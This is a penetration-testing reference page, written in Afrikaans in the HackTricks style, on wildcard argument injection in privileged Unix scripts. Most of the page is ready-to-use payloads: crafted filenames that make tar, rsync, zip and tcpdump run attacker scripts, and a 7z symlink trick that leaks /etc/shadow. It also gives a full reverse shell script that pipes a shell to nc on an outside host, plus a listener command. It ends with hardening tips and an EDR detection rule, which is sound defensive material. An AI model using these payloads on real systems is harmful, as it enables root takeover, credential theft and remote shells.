8.2 KiB
Wildcards Spare Tricks
{{#include ../../banners/hacktricks-training.md}}
Wildcard (ook bekend as glob) argumentinjekie gebeur wanneer 'n bevoorregte skrip 'n Unix-binary soos
tar
,chown
,rsync
,zip
,7z
, … met 'n ongekwote wildcard soos*
uitvoer. Aangesien die skulp die wildcard voor die uitvoering van die binary uitbrei, kan 'n aanvaller wat lêers in die werksgids kan skep, lêername saamstel wat met-
begin sodat dit as opsies in plaas van data geïnterpreteer word, wat effektief arbitrêre vlae of selfs opdragte smokkel. Hierdie bladsy versamel die nuttigste primitiewe, onlangse navorsing en moderne opsporings vir 2023-2025.
chown / chmod
Jy kan die eienaar/groep of die toestemmingsbits van 'n arbitrêre lêer kopieer deur die --reference
vlag te misbruik:
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
Wanneer root later iets soos uitvoer:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
word ingesluit, wat veroorsaak dat alle ooreenstemmende lêers die eienaarskap/permitte van /root/secret``file
erf.
PoC & hulpmiddel: wildpwn
(gecombineerde aanval).
Sien ook die klassieke DefenseCode papier vir besonderhede.
tar
GNU tar (Linux, *BSD, busybox-full)
Voer arbitrêre opdragte uit deur die checkpoint kenmerk te misbruik:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Sodra root tar -czf /root/backup.tgz *
uitvoer, word shell.sh
as root uitgevoer.
bsdtar / macOS 14+
Die standaard tar
op onlangse macOS (gebaseer op libarchive
) implementeer nie --checkpoint
nie, maar jy kan steeds kode-uitvoering bereik met die --use-compress-program vlag wat jou toelaat om 'n eksterne kompressor te spesifiseer.
# macOS example
touch "--use-compress-program=/bin/sh"
Wanneer 'n bevoorregte skrif tar -cf backup.tar *
uitvoer, sal /bin/sh
begin.
rsync
rsync
laat jou toe om die afstandshell of selfs die afstandsbinary te oorskry via opdraglynvlaggies wat met -e
of --rsync-path
begin:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
As root later die gids met rsync -az * backup:/srv/
argiveer, laat die ingeslote vlag jou skulp op die afstand kant ontstaan.
PoC: wildpwn
(rsync
modus).
7-Zip / 7z / 7za
Selfs wanneer die bevoorregte skrif defensief die wildcard met --
voorafgaan (om opsie-parsing te stop), ondersteun die 7-Zip formaat lêerlys lêers deur die lêernaam met @
vooraf te gaan. Om dit te kombineer met 'n symlink laat jou toe om arbitraire lêers te exfiltreer:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
As die root iets soos uitvoer:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip sal probeer om root.txt
(→ /etc/shadow
) as 'n lêerlys te lees en sal uitval, die inhoud na stderr druk.
zip
zip
ondersteun die vlag --unzip-command
wat woordeliks aan die stelselshell oorgedra word wanneer die argief getoets sal word:
zip result.zip files -T --unzip-command "sh -c id"
Inject die vlag via 'n vervaardigde lêernaam en wag vir die bevoorregte rugsteun-skrip om zip -T
(toets argief) op die resultaat lêer aan te roep.
Bykomende binaire wat kwesbaar is vir wildcard-inspuiting (2023-2025 vinnige lys)
Die volgende opdragte is in moderne CTFs en werklike omgewings misbruik. Die payload word altyd geskep as 'n lêernaam binne 'n skryfbare gids wat later met 'n wildcard verwerk sal word:
Binaire | Vlag om te misbruik | Effek |
---|---|---|
bsdtar |
--newer-mtime=@<epoch> → arbitrêre @file |
Lees lêerinhoud |
flock |
-c <cmd> |
Voer opdrag uit |
git |
-c core.sshCommand=<cmd> |
Opdrag uitvoering via git oor SSH |
scp |
-S <cmd> |
Genereer arbitrêre program in plaas van ssh |
Hierdie primitiewe is minder algemeen as die tar/rsync/zip klassiekers, maar dit is die moeite werd om te kyk wanneer jy jag.
tcpdump rotasie haakies (-G/-W/-z): RCE via argv inspuiting in wrappers
Wanneer 'n beperkte skulp of verskaffer wrapper 'n tcpdump
opdraglyn bou deur gebruikersbeheerde velde (bv. 'n "lêernaam" parameter) te konkateer sonder streng aanhaling/validasie, kan jy ekstra tcpdump
vlaggies smokkel. Die kombinasie van -G
(tyd-gebaseerde rotasie), -W
(beperk aantal lêers), en -z <cmd>
(post-rotate opdrag) lei tot arbitrêre opdrag uitvoering as die gebruiker wat tcpdump uitvoer (dikwels root op toestelle).
Voorwaardes:
- Jy kan
argv
beïnvloed wat aantcpdump
oorgedra word (bv. via 'n wrapper soos/debug/tcpdump --filter=... --file-name=<HERE>
). - Die wrapper saniteer nie spaties of
-
-geprefikse tokens in die lêernaam veld nie.
Klassieke PoC (voert 'n omgekeerde skulp skrip uit vanaf 'n skryfbare pad):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Details:
-G 1 -W 1
dwing 'n onmiddellike rotasie na die eerste ooreenstemmende pakket.-z <cmd>
voer die post-rotasie opdrag een keer per rotasie uit. Baie boue voer<cmd> <savefile>
uit. As<cmd>
'n skrip/interpreter is, verseker dat die argument hantering ooreenstem met jou payload.
No-removable-media variasies:
- As jy enige ander primitiewe het om lêers te skryf (bv. 'n aparte opdrag-wrapper wat uitvoer herleiding toelaat), plaas jou skrip in 'n bekende pad en aktiveer
-z /bin/sh /path/script.sh
of-z /path/script.sh
afhangende van platform semantiek. - Sommige verskaffer wrappers roteer na aanvaller-beheerde plekke. As jy die geroteerde pad kan beïnvloed (symlink/gids traversering), kan jy
-z
stuur om inhoud uit te voer wat jy heeltemal beheer sonder eksterne media.
Hardening wenke vir verskaffers:
- Moet nooit gebruiker-beheerde strings direk aan
tcpdump
(of enige hulpmiddel) oorhandig sonder streng toelaatlys. Citeer en valideer. - Moet nie
-z
funksionaliteit in wrappers blootstel nie; voer tcpdump uit met 'n vaste veilige sjabloon en verbied ekstra vlae heeltemal. - Laat tcpdump voorregte val (cap_net_admin/cap_net_raw slegs) of voer onder 'n toegewyde onvoorregte gebruiker met AppArmor/SELinux beperking uit.
Detection & Hardening
- Deaktiveer shell globbing in kritieke skripte:
set -f
(set -o noglob
) voorkom wildcard uitbreiding. - Citeer of ontsnap argumente:
tar -czf "$dst" -- *
is nie veilig nie — verkiesfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Expliciete paaie: Gebruik
/var/www/html/*.log
in plaas van*
sodat aanvallers nie suster lêers kan skep wat met-
begin nie. - Minste voorreg: Voer rugsteun/onderhoud werksgeleenthede uit as 'n onvoorregte diensrekening in plaas van root wanneer moontlik.
- Monitering: Elastic se voorafgeboude reël Potensiële Shell via Wildcard Inspuiting soek na
tar --checkpoint=*
,rsync -e*
, ofzip --unzip-command
onmiddellik gevolg deur 'n shell kind proses. Die EQL navraag kan aangepas word vir ander EDRs.
References
- Elastic Security – Potensiële Shell via Wildcard Inspuiting Gediagnoseer reël (laas opgedateer 2025)
- Rutger Flohil – “macOS — Tar wildcard inspuiting” (18 Des 2024)
- GTFOBins – tcpdump
- FiberGateway GR241AG – Volledige Exploit Ketting
{{#include ../../banners/hacktricks-training.md}}